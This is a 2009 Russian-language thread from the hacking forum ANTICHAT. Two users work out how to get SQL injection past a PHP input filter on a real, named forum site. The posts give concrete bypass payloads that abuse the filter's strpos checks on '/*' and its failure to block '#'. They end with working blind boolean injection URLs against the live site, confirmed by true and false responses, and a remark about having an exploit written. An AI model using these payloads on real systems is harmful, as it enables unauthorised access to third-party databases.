HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 13.06.2009, 17:54
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

strpos() чувствителен к регистру UNION он не заметит.
А вот со stripos() такое не прокатит.

P.S. да и регулярка тоже чувствительна к регистру без i, т.е. они тоже проглотит UNION и ничего не заметит.

Последний раз редактировалось Grey; 13.06.2009 в 18:04..
 
Ответить с цитированием

  #2  
Старый 13.06.2009, 18:04
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Да, но вся проблема в том, что переменная $clean изначально переводиться в нижний регистр (забыл упомянуть об этом в предыдущем посте).

Последний раз редактировалось mailbrush; 13.06.2009 в 18:07..
 
Ответить с цитированием

  #3  
Старый 13.06.2009, 18:10
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

Цитата:
Сообщение от mailbrush  
Да, но вся проблема в том, что переменная $clean изначально переводиться в нижний регистр (забыл упомянуть об этом в предыдущем посте).
Тогда хрен что сделаешь, правда без union`a прожить можно - ведь можно и посимвольно инъекцию заюзать.
 
Ответить с цитированием

  #4  
Старый 13.06.2009, 18:15
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Grey, ага, только трабла в том, что селект фильтрует, тобишь посимвольный вывод даных из бд (кроме информации о ней) тоже не катит.
PHP код:
        // Sub selects?  We don't use those either.
        
elseif (preg_match('~\([^)]*?select~s'$clean) != 0)
            
$fail true
Плюс еще к всему этому он фильтрует < и >, т.е. подбирать придется по очереди через =.

Сама уязвимость, если кому интересно
Код:
http://forum.antichat.ru/showpost.php?p=1328827&postcount=40
 
Ответить с цитированием

  #5  
Старый 13.06.2009, 18:23
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

А эта регулярка уже кривая:

and (/*)*/select substring(version(),1))=4 - такое она пропустит

А что касается фильтрации < > - то можно юзать:

WHERE IN (0, 255) - по сути (вернее по скорости) тоже самое, что если юзать < >

Последний раз редактировалось Grey; 13.06.2009 в 18:46..
 
Ответить с цитированием

  #6  
Старый 13.06.2009, 18:27
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Цитата:
Сообщение от Grey  
А эта регулярка уже кривая:

(/*)*/select) - такое она пропустит
Если бы не
PHP код:
        //Comments?  We don't use comments in our queries, we leave 'em outside!
        
elseif (strpos($clean'/*') > || strpos($clean'--') !== false || strpos($clean';') !== false)
            
$fail true
 
Ответить с цитированием

  #7  
Старый 13.06.2009, 18:33
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

Цитата:
Сообщение от mailbrush  
Если бы не
PHP код:
        //Comments?  We don't use comments in our queries, we leave 'em outside!
        
elseif (strpos($clean'/*') > || strpos($clean'--') !== false || strpos($clean';') !== false)
            
$fail true
Не, а ты сразу не можешь все скопировать?
Я не телепат.

/**/and (/*)*/select substring(version(),1))=4

Ну такое к примеру прокатит, т.к. позиция первого /* будет равна 0. А strpos() ищет первое вхождение подстроки, в отличие от strrpos(), которая ищет последнее вхождение подстроки.

P.S. даже такое прокатит:

'/**/and (/*)*/select substring(version(),1))=4 - если кавычку надо где то закрыть, тут позиция будет равна 1.

И такое тоже:

')/**/and (/*)*/select substring(version(),1))=4 - если кавычку надо где то закрыть и скобку, тут позиция будет равна 2 (а вот 3 уже не прокатит).

Этого кстати должно хватить, получиться что то такое (к примеру):

1/**/and (/*)*/select substring(version(),1))=4

P.P.S. а на конце строке можно заюзать символ # (он тут не фильтруется) для за комментирования оставшийся части, правда при желание можно и не отбрасывать оставшуюся часть.

Последний раз редактировалось Grey; 13.06.2009 в 18:41..
 
Ответить с цитированием

  #8  
Старый 13.06.2009, 19:43
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Ни один из вышеперечисленных вариантов не работает.
Код:
http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1
 
Ответить с цитированием

  #9  
Старый 13.06.2009, 19:45
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

Цитата:
Сообщение от mailbrush  
Ни один из вышеперечисленных вариантов не работает.
Код:
http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1
1. А откуда берётся значение переменной $clean?
2. Ты смотришь сорцы той же версии, что и форум по линку?

P.S. а вообще тестить лучше на локалке.

Последний раз редактировалось Grey; 13.06.2009 в 19:54..
 
Ответить с цитированием

  #10  
Старый 13.06.2009, 20:16
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

Разобрался

Сорцы не смотрел, но понял, что без них сказать что то сложно (возможно фильтрация идет в квери_стринг, а может как то очень по хитрому и по этому позиция /* определяется не правильно (не так как нам нужно)), но нашел другой выход:

Пример:

условие выполняется верно:
http://forum.rockmanpm.com/index.php?action=profile&sa=awardsMembers&u=1&id=1 +and+(%23)%0Aselect+5)=5

условие выполняется не верно:
http://forum.rockmanpm.com/index.php?action=profile&sa=awardsMembers&u=1&id=1 +and+(%23)%0Aselect+5)=4

Вот в чем фишка # - тоже комментирует строку и его они забыли добавить в фильтр (как я уже отметил раньше), значит мы его и заюзаем.
Единственное нужно учитывать - это то, что он комментирует только 1 строку, делаем так:

id=1+and+(%23)%0Aselect+5)=4

Получается так:

id=1 and (#)
select 5)=4

т.е. получается, что часть строки (а именно та, в которой закрывающая скобка) в запросе не участвует, но служит отличной закуской для регулярки, позволяя обойти фильтр.

P.S. %23 - урл код это символа #, %0A - урл код новой строки.

P.P.S. пошел запрягать РоА на написание сплоента)

Последний раз редактировалось Grey; 13.06.2009 в 21:09..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.